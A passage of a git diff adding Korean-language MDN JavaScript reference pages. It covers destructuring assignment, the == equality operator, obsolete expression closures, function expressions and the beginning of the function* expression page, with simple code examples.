+<p>변수의 선언이 분리되어도 구조 분해를 통해 값을 할당할 수 있습니다.</p>
+
+<pre class="brush:js">var a, b;
+
+[a, b] = [1, 2];
+console.log(a); // 1
+console.log(b); // 2
+</pre>
+
+<h3 id="기본값">기본값</h3>
+
+<p>변수에 기본값을 할당하면, 분해한 값이 {{jsxref("undefined")}}일 때 그 값을 대신 사용합니다.</p>
+
+<pre class="brush: js">var a, b;
+
+[a=5, b=7] = [1];
+console.log(a); // 1
+console.log(b); // 7
+</pre>
+
+<h3 id="변수_값_교환하기">변수 값 교환하기</h3>
+
+<p>하나의 구조 분해 표현식만으로 두 변수의 값을 교환할 수 있습니다.</p>
+
+<p>구조 분해 할당 없이 두 값을 교환하려면 임시 변수가 필요합니다. (일부 로우 레벨 언어에서는 <a class="external" href="http://en.wikipedia.org/wiki/XOR_swap">XOR 교체 트릭</a>을 사용할 수 있습니다)</p>
+
+<pre class="brush:js">var a = 1;
+var b = 3;
+
+[a, b] = [b, a];
+console.log(a); // 3
+console.log(b); // 1
+</pre>
+
+<h3 id="함수가_반환한_배열_분석">함수가 반환한 배열 분석</h3>
+
+<p>함수는 이전부터 배열을 반환할 수 있었습니다. 구조 분해를 사용하면 반환된 배열에 대한 작업을 더 간결하게 수행할 수 있습니다.</p>
+
+<p>아래 예제에서 <code>f()</code>는 출력으로 배열 <code>[1, 2]</code>을 반환하는데, 하나의 구조 분해만으로 값을 분석할 수 있습니다.</p>
+
+<pre class="brush:js">function f() {
+  return [1, 2];
+}
+
+var a, b;
+[a, b] = f();
+console.log(a); // 1
+console.log(b); // 2
+</pre>
+
+<h3 id="일부_반환_값_무시하기">일부 반환 값 무시하기</h3>
+
+<p>다음과 같이 필요하지 않은 반환 값을 무시할 수 있습니다.</p>
+
+<pre class="brush:js">function f() {
+  return [1, 2, 3];
+}
+
+var [a, , b] = f();
+console.log(a); // 1
+console.log(b); // 3
+</pre>
+
+<p>반환 값을 모두 무시할 수도 있습니다.</p>
+
+<pre class="brush:js">[,,] = f();
+</pre>
+
+<h3 id="변수에_배열의_나머지를_할당하기">변수에 배열의 나머지를 할당하기</h3>
+
+<p>배열을 구조 분해할 경우, 나머지 구문을 이용해 분해하고 남은 부분을 하나의 변수에 할당할 수 있습니다.</p>
+
+<pre class="brush: js">var [a, ...b] = [1, 2, 3];
+console.log(a); // 1
+console.log(b); // [2, 3]
+</pre>
+
+<p>나머지 요소의 오른쪽 뒤에 쉼표가 있으면 {{jsxref("SyntaxError")}}가 발생합니다.</p>
+
+<pre class="brush: js example-bad">var [a, ...b,] = [1, 2, 3];
+// SyntaxError: rest element may not have a trailing comma
+</pre>
+
+<h3 id="정규_표현식과_일치하는_값_해체하기">정규 표현식과 일치하는 값 해체하기</h3>
+
+<p>정규 표현식의 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec"> exec()</a></code> 메서드는 일치하는 부분를 찾으면 그 문자열에서 정규식과 일치하는 부분 전체를 배열의 맨 앞에, 그리고 그 뒤에 정규식에서 괄호로 묶인 각 그룹과 일치하는 부분을 포함하는 배열을 반환합니다. 구조 분해 할당은 필요하지 않은 경우 일치하는 전체 부분은 무시하고 필요한 부분만 쉽게 빼올 수 있습니다.</p>
+
+<pre class="brush: js">function parseProtocol(url) {
+  var parsedURL = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url);
+  if (!parsedURL) {
+    return false;
+  }
+  console.log(parsedURL); // ["https://developer.mozilla.org/en-US/Web/JavaScript", "https", "developer.mozilla.org", "en-US/Web/JavaScript"]
+
+  var [, protocol, fullhost, fullpath] = parsedURL;
+  return protocol;
+}
+
+console.log(parseProtocol('https://developer.mozilla.org/en-US/Web/JavaScript')); // "https"</pre>
+
+<h2 id="객체_구조_분해">객체 구조 분해</h2>
+
+<h3 id="기본_할당">기본 할당</h3>
+
+<pre class="brush: js">var o = {p: 42, q: true};
+var {p, q} = o;
+
+console.log(p); // 42
+console.log(q); // true
+</pre>
+
+<h3 id="선언_없는_할당">선언 없는 할당</h3>
+
+<p>구조 분해를 통해 변수의 선언과 분리하여 변수에 값을 할당할 수 있습니다.</p>
+
+<pre class="brush:js">var a, b;
+
+({a, b} = {a: 1, b: 2});</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 할당 문을 둘러싼 <code>( .. )</code>는 선언 없이 객체 리터럴(object literal) 비구조화 할당을 사용할 때 필요한 구문입니다.</p>
+
+<p><code>{a, b} = {a:1, b:2}</code>는 유효한 독립 구문이 아닙니다. 좌변의 <code>{a, b}</code>이 객체 리터럴이 아닌 블록으로 간주되기 때문입니다.</p>
+
+<p>하지만, <code>({a, b} = {a:1, b:2})</code>는 유효한데, <code>var {a, b} = {a:1, b:2}</code>와 같습니다.</p>
+
+<p><code>( .. )</code> 표현식 앞에는 세미콜론이 있어야 합니다. 그렇지 않을 경우 이전 줄과 연결되어 함수를 실행하는데 이용될 수 있습니다.</p>
+</div>
+
+<h3 id="새로운_변수_이름으로_할당하기">새로운 변수 이름으로 할당하기</h3>
+
+<p>객체로부터 속성을 해체하여 객체의 원래 속성명과는 다른 이름의 변수에 할당할 수 있습니다.</p>
+
+<pre class="brush: js">var o = {p: 42, q: true};
+var {p: foo, q: bar} = o;
+
+console.log(foo); // 42
+console.log(bar); // true</pre>
+
+<h3 id="기본값_2">기본값</h3>
+
+<p>객체로부터 해체된 값이 <code>undefined</code>인 경우, 변수에 기본값을 할당할 수 있습니다.</p>
+
+<pre class="brush: js">var {a = 10, b = 5} = {a: 3};
+
+console.log(a); // 3
+console.log(b); // 5</pre>
+
+<h3 id="기본값_갖는_새로운_이름의_변수에_할당하기">기본값 갖는 새로운 이름의 변수에 할당하기</h3>
+
+<p>새로운 변수명 할당과 기본값 할당을 한번에 할 수 있습니다.</p>
+
+<pre class="brush: js">var {a: aa = 10, b: bb = 5} = {a: 3};
+
+console.log(aa); // 3
+console.log(bb); // 5
+</pre>
+
+<h3 id="함수_매개변수의_기본값_설정하기">함수 매개변수의 기본값 설정하기</h3>
+
+<h4 id="ES5_버전">ES5 버전</h4>
+
+<pre class="brush: js">function drawES5Chart(options) {
+  options = options === undefined ? {} : options;
+  var size = options.size === undefined ? 'big' : options.size;
+  var cords = options.cords === undefined ? { x: 0, y: 0 } : options.cords;
+  var radius = options.radius === undefined ? 25 : options.radius;
+  console.log(size, cords, radius);
+  // 이제 드디어 차트 그리기 수행
+}
+
+drawES5Chart({
+  cords: { x: 18, y: 30 },
+  radius: 30
+});</pre>
+
+<h4 id="ES2015_버전">ES2015 버전</h4>
+
+<pre class="brush: js">function drawES2015Chart({size = 'big', cords = { x: 0, y: 0 }, radius = 25} = {}) {
+  console.log(size, cords, radius);
+  // 차트 그리기 수행
+}
+
+drawES2015Chart({
+  cords: { x: 18, y: 30 },
+  radius: 30
+});</pre>
+
+<div class="note">
+<p>위의 <strong><code>drawES2015Chart</code></strong> 함수의 원형에서 구조 분해된 좌변에 빈 오브젝트 리터럴을 할당하는 것을 볼 수 있습니다 <code>{size = 'big', cords = {x: 0, y: 0}, radius = 25} = {}</code>. 빈 오브젝트를 우변에 할당하지 않고도 함수를 작성할 수 있습니다. 하지만, 지금의 형태에서는 단순히 <code><strong>drawES2015Chart()</strong></code>와 같이 어떤 매개변수 없이도 호출할 수 있지만, 우변의 빈 오브젝트 할당을 없앤다면 함수 호출시 적어도 하나의 인자가 제공되어야만 합니다. 이 함수가 어떠한 매개변수 없이도 호출할 수 있길 원한다면 지금 형태가 유용하고, 무조건 객체를 넘기길 원하는 경우에는 빈 객체 할당을 하지 않는 것이 유용할 수 있습니다.</p>
+</div>
+
+<h3 id="중첩된_객체_및_배열의_구조_분해">중첩된 객체 및 배열의 구조 분해</h3>
+
+<pre class="brush:js">var metadata = {
+    title: "Scratchpad",
+    translations: [
+       {
+        locale: "de",
+        localization_tags: [ ],
+        last_edit: "2014-04-14T08:43:37",
+        url: "/de/docs/Tools/Scratchpad",
+        title: "JavaScript-Umgebung"
+       }
+    ],
+    url: "/en-US/docs/Tools/Scratchpad"
+};
+
+var { title: englishTitle, translations: [{ title: localeTitle }] } = metadata;
+
+console.log(englishTitle); // "Scratchpad"
+console.log(localeTitle);  // "JavaScript-Umgebung"</pre>
+
+<h3 id="for_of_반복문과_구조_분해">for of 반복문과 구조 분해</h3>
+
+<pre class="brush: js">var people = [
+  {
+    name: "Mike Smith",
+    family: {
+      mother: "Jane Smith",
+      father: "Harry Smith",
+      sister: "Samantha Smith"
+    },
+    age: 35
+  },
+  {
+    name: "Tom Jones",
+    family: {
+      mother: "Norah Jones",
+      father: "Richard Jones",
+      brother: "Howard Jones"
+    },
+    age: 25
+  }
+];
+
+for (var {name: n, family: { father: f } } of people) {
+  console.log("Name: " + n + ", Father: " + f);
+}
+
+// "Name: Mike Smith, Father: Harry Smith"
+// "Name: Tom Jones, Father: Richard Jones"</pre>
+
+<h3 id="함수_매개변수로_전달된_객체에서_필드_해체하기">함수 매개변수로 전달된 객체에서 필드 해체하기</h3>
+
+<pre class="brush:js">function userId({id}) {
+  return id;
+}
+
+function whois({displayName: displayName, fullName: {firstName: name}}){
+  console.log(displayName + " is " + name);
+}
+
+var user = {
+  id: 42,
+  displayName: "jdoe",
+  fullName: {
+      firstName: "John",
+      lastName: "Doe"
+  }
+};
+
+console.log("userId: " + userId(user)); // "userId: 42"
+whois(user); // "jdoe is John"</pre>
+
+<p>이 예제는 user 객체로부터 <code>id</code>, <code>displayName</code> 및 <code>firstName</code> 을 해체해 출력합니다.</p>
+
+<h3 id="계산된_속성_이름과_구조_분해">계산된 속성 이름과 구조 분해</h3>
+
+<p>계산된 속성 이름(computed property name)은, <a href="/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names" title="object literals">객체 리터럴</a>과 비슷하게 구조 분해에도 사용될 수 있습니다.</p>
+
+<pre class="brush: js">let key = "z";
+let { [key]: foo } = { z: "bar" };
+
+console.log(foo); // "bar"
+</pre>
+
+<h3 id="객체_구조_분해에서_Rest">객체 구조 분해에서 Rest</h3>
+
+<p><a class="external external-icon" href="https://github.com/tc39/proposal-object-rest-spread">Rest/Spread Properties for ECMAScript</a> 제안(stage 3)에서는 구조 분해에 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest</a> 구문을 추가하고 있습니다. rest 속성은 구조 분해 패턴으로 걸러지지 않은 열거형 속성의 키를 가진 나머지 항목들을 모읍니다.</p>
+
+<pre class="brush: js">let {a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40}
+a; // 10
+b; // 20
+rest; // { c: 30, d: 40 }
+</pre>
+
+<h3 id="속성_이름이_유효한_JavaScript_식별자명이_아닌_경우">속성 이름이 유효한 JavaScript 식별자명이 아닌 경우</h3>
+
+<p>구조 분해는 JavaScript {{glossary("Identifier", "식별자")}} 이름으로 적합하지 않은 속성명이 제공된 경우에도 이용할 수 있습니다. 이 때는 대체할 유효한 식별자명을 제공해야 합니다.</p>
+
+<pre class="brush: js">const foo = { 'fizz-buzz': true };
+const { 'fizz-buzz': fizzBuzz } = foo;
+
+console.log(fizzBuzz); // "true"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-destructuring-assignment', 'Destructuring assignment')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-destructuring-assignment', 'Destructuring assignment')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("javascript.operators.destructuring")}}</p>
+</div>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Assignment_Operators" title="Assignment operators">할당 연산자</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/05/es6-in-depth-destructuring/">"ES6 in Depth: Destructuring" on hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/equality/index.html b/files/ko/web/javascript/reference/operators/equality/index.html
new file mode 100644
index 0000000000..5ebe238590
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/equality/index.html
@@ -0,0 +1,123 @@
+---
+title: 동등 연산자(==)
+slug: Web/JavaScript/Reference/Operators/Equality
+translation_of: Web/JavaScript/Reference/Operators/Equality
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>동등 연산자(==)는 두 개의 피연산자가 동일한지 확인하며, Boolean값을 반환합니다. <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality">일치 연산자</a>(===)와는 다르게 다른 타입의 피연산자들끼리의 비교를 시도합니다. </p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-equality.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">x == y
+</pre>
+
+<h2 id="상세_설명">상세 설명</h2>
+
+<p>동등 연산자 (<code>==</code> 와 <code>!=</code>)는 두 피연산자를 비교하기 위해 <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9.3">Abstract Equality Comparison Algorithm</a>를 사용합니다. 다음과 같이 간략히 설명할 수 있습니다:</p>
+
+<ul>
+ <li>두 피연산자가 모두 객체일때, 두 피연산자가 동일한 객체를 참조할때에만 true를 반환합니다.</li>
+ <li>하나의 피연산자가 <code>null</code>이고 다른 하나가 <code>undefined</code>일때, <code>true</code>를 반환합니다.</li>
+ <li>두 피연산자의 타입이 다를 경우, 비교하기 전에 동일한 타입으로 변환하도록 합니다:
+  <ul>
+   <li>숫자와 문자열을 비교할 경우, 문자열을 숫자로 변환하도록 합니다.</li>
+   <li>하나의 피연산자가 <code>Boolean</code>일 경우, Boolean 피연산자가 true일 경우 1로 변환하고, false일 경우, +0으로 변환합니다.</li>
+   <li>하나의 피연산자가 객체이고 다른하나가 숫자나 문자열이면, 객체를  <code>valueOf()</code>나<code>toString()</code>를 사용해 기본 데이터 타입으로 변환하도록 합니다.</li>
+  </ul>
+ </li>
+ <li>두개의 피연산자가 동일한 타입일 경우, 다음과 같이 비교됩니다:
+  <ul>
+   <li><code>String</code>: 두 피연산자가 동일한 문자순서가 동일한 문자열일 경우, <code>true</code>를 반환합니다.</li>
+   <li><code>Number</code>: 두 피연산자가 동일한 값을 가질 경우, <code>true</code>을 반환합니다. +0 과 -0 은 동일한 값으로 취급합니다. 어느 한쪽이 <code>NaN</code>일 경우, <code>false</code>를 반환합니다.</li>
+   <li><code>Boolean</code>: 두 피연산자가 모두 <code>true</code>이거나, 모두 <code>false</code>일 경우, <code>true</code>를 반환합니다. </li>
+  </ul>
+ </li>
+</ul>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality">일치연산자</a> (<code>===</code>)와의 가장 두드러지는 차이점은 일치 연산자는 타입변환을 시도하지 않는다는 것입니다. 일치 연산자는 다른 타입을 가진 피연산자는 다르다고 판단합니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="타입변환_없이_비교">타입변환 없이 비교</h3>
+
+<pre class="brush: js notranslate">1 == 1;              // true
+"hello" == "hello";  // true</pre>
+
+<h3 id="타입변환을_이용한_비교">타입변환을 이용한 비교</h3>
+
+<pre class="brush: js notranslate">"1" ==  1;            // true
+1 == "1";             // true
+0 == false;           // true
+0 == null;            // false
+0 == undefined;       // false
+0 == !!null;          // true, look at Logical NOT operator
+0 == !!undefined;     // true, look at Logical NOT operator
+null == undefined;    // true
+
+const number1 = new Number(3);
+const number2 = new Number(3);
+number1 == 3;         // true
+number1 == number2;   // false</pre>
+
+<h3 id="객체들_간의_비교">객체들 간의 비교</h3>
+
+<pre class="brush: js notranslate">const object1 = {"key": "value"}
+const object2 = {"key": "value"};
+
+object1 == object2 // false
+object2 == object2 // true</pre>
+
+<h3 id="String과_String_objects의_비교">String과 String objects의 비교</h3>
+
+<p><code>new String()</code> 을 통해 생성된 문자열들은 객체입니다. 이 객체중 하나를 문자열과 비교한다면, <code>String</code> 객체가 문자열로 변환된 후 비교될 것입니다. 그러나 두개의 피연산자 모두 <code>String</code> 객체라면, 객체로써 비교가 이루어지기 때문에 같은 값으로 취급될려면 같은 객체를 참조하고 있어야 합니다:</p>
+
+<pre class="brush: js notranslate">const string1 = "hello";
+const string2 = String("hello");
+const string3 = new String("hello");
+const string4 = new String("hello");
+
+console.log(string1 == string2); // true
+console.log(string1 == string3); // true
+console.log(string2 == string3); // true
+console.log(string3 == string4); // false
+console.log(string4 == string4); // true</pre>
+
+<h3 id="Comparing_Dates_and_strings">Comparing Dates and strings</h3>
+
+<pre class="brush: js notranslate">const d = new Date('December 17, 1995 03:24:00');
+const s = d.toString(); // for example: "Sun Dec 17 1995 03:24:00 GMT-0800 (Pacific Standard Time)"
+console.log(d == s);    //true</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-equality-operators', 'Equality operators')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.operators.equality")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Inequality">Inequality operator</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality">Strict equality operator</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Strict_inequality">Strict inequality operator</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/expression_closures/index.html b/files/ko/web/javascript/reference/operators/expression_closures/index.html
new file mode 100644
index 0000000000..bf44be6cd7
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/expression_closures/index.html
@@ -0,0 +1,79 @@
+---
+title: 표현식 클로저
+slug: Web/JavaScript/Reference/Operators/Expression_closures
+tags:
+  - Function
+  - JavaScript
+  - Non-standard
+  - Obsolete
+  - Operator
+  - Reference
+translation_of: Archive/Web/JavaScript/Expression_closures
+---
+<div>{{JSSidebar("Operators")}}{{Non-standard_Header}}{{Obsolete_Header("gecko60")}}
+<div class="warning"><strong>Non-standard. Do not use!</strong><br>
+The expression closure syntax is a deprecated Firefox-specific feature and has been removed starting with Firefox 60. For future-facing usages, consider using <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a>.</div>
+</div>
+
+<p>클로져는 간단한 함수를 작성하기 위한 짧은 함수구문 입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">function [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]])
+   <em>expression</em>
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수의 이름입니다. 익명함수의 경우에는 생략할 수 있습니다. 이름은 함수본문에만 국한됩니다.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>함수에 전달할 인수의 이름입니다. 함수는 최대 255개의 인수를 가질 수 있습니다.</dd>
+ <dt><code>expression</code></dt>
+ <dd>함수의 본문을 구성하는 표현식입니다.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>이 추가적인 기능은 <a class="external" href="http://en.wikipedia.org/wiki/Lambda_calculus#Lambda_calculus_and_programming_languages">람다 표기법</a>과 비슷한 언어를 제공하기위해 간단한 기능을 작성하는데 필요한 단축형일 뿐입니다.</p>
+
+<p>JavaScript 1.7 and older:</p>
+
+<pre class="brush: js">function(x) { return x * x; }</pre>
+
+<p>JavaScript 1.8:</p>
+
+<pre class="brush: js">function(x) x * x</pre>
+
+<p>이 구문을 사용하면 중괄호나 'return'문을 생략하여 암시적으로 만들 수 있습니다. 코드를 더 짧게 만들 수 있는 것 이외의 이방법으로 얻을 수 있는 추가 이점은 없습니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>바인딩 이벤트 리스너의 간단한 예제:</p>
+
+<pre class="brush: js"> document.addEventListener('click', function() false, true);
+</pre>
+
+<p>JavaScript 1.6의 일부 배열 함수에 이 표기법을 사용합니다:</p>
+
+<pre class="brush: js">elems.some(function(elem) elem.type == 'text');
+</pre>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.operators.expression_closures")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/function/index.html b/files/ko/web/javascript/reference/operators/function/index.html
new file mode 100644
index 0000000000..5f4977bfc7
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/function/index.html
@@ -0,0 +1,154 @@
+---
+title: 함수 표현식
+slug: Web/JavaScript/Reference/Operators/function
+tags:
+  - Function
+  - JavaScript
+  - Operator
+  - Primary Expressions
+translation_of: Web/JavaScript/Reference/Operators/function
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>function</code></strong> 키워드는 어떤 표현식(expression) 내에서 함수를 정의하는 데 사용될 수 있습니다.</p>
+
+<p>또한 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function">Function</a> 생성자와 <a href="/ko/docs/Web/JavaScript/Reference/Statements/function">함수 선언(function declaration)</a>을 이용해 함수를 정의할 수도 있습니다.  </p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-functionexpression.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">var myFunction = function [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) { <em>statements </em>};</pre>
+
+<p><a href="/ko/docs/">ES2015</a>에서 <a href="/ko/docs/Web/JavaScript/Reference/Functions/%EC%95%A0%EB%A1%9C%EC%9A%B0_%ED%8E%91%EC%85%98">화살표 함수(arrow functions)</a>를 사용할 수도 있습니다.</p>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수 이름. 함수가 이름 없는(anonymous) 함수인 경우, 생략될 수 있음. 이 함수 이름은 함수의 몸통 내에서만 사용할 수 있습니다.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>함수로 전달되는 인수(argument) 의 이름.</dd>
+ <dt><code>statements</code></dt>
+ <dd>함수 몸통을 구성하는 문(statement).</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>함수 표현식(function expression)은 function 문과 매우 비슷하고 구문(syntax)이 거의 같습니다 (자세한 사항은 <a href="/ko/docs/Web/JavaScript/Reference/Statements/function" title="function statement">function 문</a> 참조). 함수 표현식과 function 문 사이의 주요 차이점은 함수 이름으로, 함수 표현식으로 <em>익명</em> 함수를 만들 경우 이 이름을 생략할 수 있습니다. 함수 표현식은 정의하자마자 실행되는  <a href="https://developer.mozilla.org/en-US/docs/Glossary/IIFE">IIFE (즉시 호출되는 함수 표현식)</a>로 사용될 수 있습니다. 더 자세한 정보는 <a href="/ko/docs/Web/JavaScript/Reference/Functions" title="functions">함수</a> 장 참조.</p>
+
+<h3 id="Function_expression_끌어올리기">Function expression 끌어올리기</h3>
+
+<p>자바스크립트에서 함수 표현식은 {{jsxref("Statements/function", "함수 선언", "#Function_declaration_hoisting")}}과는 달리 끌어올려지지 않습니다. 함수 표현식을 정의하기 전에는 사용할 수 없습니다.</p>
+
+<pre><code>console.log(notHoisted) // undefined
+//even the variable name is hoisted, the definition wasn't. so it's undefined.
+notHoisted(); // TypeError: notHoisted is not a function
+
+var notHoisted = function() {
+   console.log('bar');
+};</code></pre>
+
+<h3 id="유명(named)_함수_표현식">유명(named) 함수 표현식</h3>
+
+<p>함수 몸통 안 쪽에서 현재 함수를 참고하고 싶다면, 유명 함수를 생성해야 합니다. <u><strong>이 함수 이름은 함수의 몸통(범위) 안에서만 사용할 수 있습니다</strong></u>. 이로써 비표준 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee</a></code> 속성을 사용하는 것을 피할 수도 있습니다.</p>
+
+<pre><code>var math = {
+  'factit': function factorial(n) {
+    console.log(n)
+    if (n &lt;= 1)
+      return 1;
+    return n * factorial(n - 1);
+  }
+};
+
+math.factit(3) //3;2;1;</code>
+</pre>
+
+<p>함수가 할당된 변수는 <code>name</code> 속성을 가지게됩니다. 다른 변수에 할당되더라도 그 name 속성의 값은 변하지 않습니다. 함수의 이름이 생략되었다면, name 속성의 값은 그 변수의 이름(암묵적 이름)이 될 것입니다. 함수의 이름이 있다면 name 속성의 값은 그 함수의 이름(명시적 이름)이 될 것입니다. 이는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">화살표 함수(arrow functions)</a>에도 적용됩니다 (화살표 함수는 이름을 가지지 않으므로 해당 변수에 암묵적인 이름만 줄 수 있습니다).</p>
+
+<pre><code>var foo = function() {}
+foo.name // "foo"
+
+var foo2 = foo
+foo2.name // "foo"
+
+var bar = function baz() {}
+bar.name // "baz"
+
+console.log(foo === foo2); // true
+console.log(typeof baz); // undefined
+console.log(bar === baz); // false (errors because baz == undefined)</code>
+</pre>
+
+<p> </p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음 예제는 이름 없는 함수를 정의하고 그 함수를 <code>x</code>에 할당합니다. 함수는 인수의 제곱을 반환합니다:</p>
+
+<pre><code>var x = function(y) {
+   return y * y;
+};</code></pre>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Glossary/Callback_function">callback</a>으로 더 자주 사용됩니다:</p>
+
+<pre><code>button.addEventListener('click', function(event) {
+    console.log('button is clicked!')
+})</code></pre>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-13', 'Function definition')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-13', 'Function definition')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>초기 정의. JavaScript 1.5에서 구현됨.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.function")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Arrow_functions", "Arrow functions")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{jsxref("Statements/async_function", "async function")}}</li>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/function_star_/index.html b/files/ko/web/javascript/reference/operators/function_star_/index.html
new file mode 100644
index 0000000000..7187f985bc
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/function_star_/index.html
@@ -0,0 +1,85 @@
+---
+title: function* expression
+slug: Web/JavaScript/Reference/Operators/function*
+tags:
+  - ECMAScript6
+  - Function
+  - Generator
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Operators/function*
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>function*</code></strong> keyword 는 표현식 내에서 generator function 을 정의합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-functionasteriskexpression.html")}}</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">function* [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) {
+   <em>statements</em>
+}</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수명. 생략하면, 익명 함수가 됩니다.  함수명은 함수내에만 한정됩니다.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>함수에 전달되는 인수의 이름. 함수는 최대 255 개의 인수를 가질 수 있습니다.</dd>
+ <dt><code>statements</code></dt>
+ <dd>함수의 본체를 구성하는 구문들.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
